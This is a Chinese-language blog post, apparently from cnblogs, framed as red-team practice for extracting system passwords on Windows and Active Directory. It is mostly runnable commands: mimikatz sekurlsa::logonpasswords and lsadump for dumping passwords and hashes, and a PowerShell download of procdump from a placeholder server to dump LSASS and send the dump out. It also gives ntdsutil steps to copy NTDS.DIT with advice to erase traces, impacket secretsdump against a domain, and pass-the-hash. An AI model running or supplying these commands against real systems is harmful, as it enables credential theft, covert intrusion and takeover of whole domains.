红蓝对抗之系统密码提取

mimikatz

mimikatz工具从内存中提取明文密码,HASH值,PIN密码和票据,利用zerologon漏洞(通过NetLogon/MS-NRPC协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码设置为空。

mimikatz 需要管理员或 SYSTEM 权限,通常使用 DEBUG 权限执行某些操作,与 LSASS 进程(取决于所做的操作的要求)进行交互。

mimikatz与凭证

在用户登录之后,会生成很多凭证数据并存储在本地安全权限服务的进程(LSASS)内存中。其目的是为了方便单点登录(SSO)在每次对资源进行访问请求时确保用户不会被提示。

凭证数据包括 NTLM 密码哈希,LM 密码哈希(如果密码长度小于 15 个字符),甚至明文密码(以支持其他的 WDigest 和 SSP 认证)。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库(或 AD 数据库),但这并不能阻止系统在内存中生成 LM 哈希。

常用命令

system::user               //查看当前登录的用户 
process::list              //列出进程
process::stop processname  //结束进程(有些进程结束不了,即使权限够大)
process::suspend  processname //暂停进程
process::modules              //列出系统核心模块和其所在的物理路径
service::list                 //列出系统服务
service::stop (start) service_name   //停止(开启)服务
privilege::list               //列出系统权限列表
privilege::debug              //提升权限 (执行这条命令得有足够的权限)
nogpo::cmd                    //打开cmd
nogpo::regedit                //打开注册表
ts::sessions                  //显示当前回话
ts::processes                 //显示当前进程及其PID
sekurlsa::logonpasswords      //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch           //获取当前此计算机存在过用户的NTLMHASH
inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存  

远程连接使用

控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行mimikatz.exe

运行下面指令,即可得到当前内网中的所有密码

privilege::debug           //提升权限
sekurlsa::logonpasswords   //抓取密码

//非交互式shell中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt 

本地使用

mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
如果对方安装了防火墙,我们可以帮对方安装一个procdump64.exe,然后从 lsass.exe进程里导出一个包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从dmp文件里读取信息。

1.下载procdump64.exe 
powershell环境下:Invoke-WebRequest -Uri "http://<your-server>/procdump64.exe" -OutFile "C:\Windows\Temp\procdump64.exe"  

2.从procdump64.exe里导出lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp  

3.将lsass.dmp传回本地 

4.使用本地的mimikatz.exe读取lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit  

为了方便复制与查看,可以输出到本地文件里面:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

读取域控成员HASH

域控本地读取

读取域控本地哈希是指直接从域控制器(Domain Controller)上获取NTDS.DIT 文件中存储的用户密码哈希(包括域用户和域管理员的哈希),该文件存储了所有与Active Directory相关的账户信息。(在域控上以域管理员身份执行mimikatz)

本地直接执行

Copy#提升权限
privilege::debug

抓取hash密码
lsadump::lsa /patch

命令比较
通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取

通过 DCSync和目录复制服务(DRS) 从 NTDS.DIT 文件中检索密码哈希值的操作,即你可以通过模拟域控制器(Domain Controller)与其他域控制器之间的复制通信来提取 Active Directory 中的用户密码哈希,甚至包括域管理员账户的哈希

DCSync:
DCSync 是 Mimikatz 工具中的一个功能,允许攻击者模拟域控制器的复制请求(通常用于从一个域控制器到另一个域控制器同步数据),以此来获取 NTDS.DIT 文件中的敏感信息,特别是 密码哈希。

当攻击者具备足够权限时,他们可以请求复制域控制器上的 Active Directory 数据库(NTDS.DIT),其中包括用户的密码哈希。

NTDS.DIT 文件:
NTDS.DIT是Active Directory 数据库文件,存储了域内所有用户、计算机和组的账户信息,包括密码哈希。

这个文件对域控制器非常重要,因为它包含了域内所有身份验证所需的用户数据。
目录复制服务(DRS):
目录复制服务(Directory Replication Service, DRS)是用于将 Active Directory 中的更改从一个域控制器复制到其他域控制器的机制。

导出域成员哈希

导出域成员哈希是指从域成员计算机(即非域控制器的其他计算机)上提取域账户的NTLM哈希,通常这类计算机已加入到域中。

域账户的用户名和hash密码以域数据库的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT文件中。
这里可以借助ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:

#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

#加载快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:

Copysecretsdump.py -ntds.dit -system system.hive LOCAL

最后记得卸载删除快照(避免留痕)

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

我们对两种不同方法进行比较:
两者比较

secretsdump脚本直接导出域hash

secretsdump.py是Impacket工具集中的一个脚本,用于直接导出域内用户的哈希。这里的操作更简单粗暴,因为它省去了手动复制文件和创建快照的步骤

Copypython secretsdump.py rabbitmask:123456@192.168.15.181 

                           (domain:password@ip)

首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功

哈希传递

privilege::debug    #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希

提权:
提权
攻击完成后,查看权限:

dir \\dc.sun.com\c$
#也可以ip查看
dir \\192.168.1.5\c$

查看权限

posted @   tabliu35  Views(126)  Comments(1Edit  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示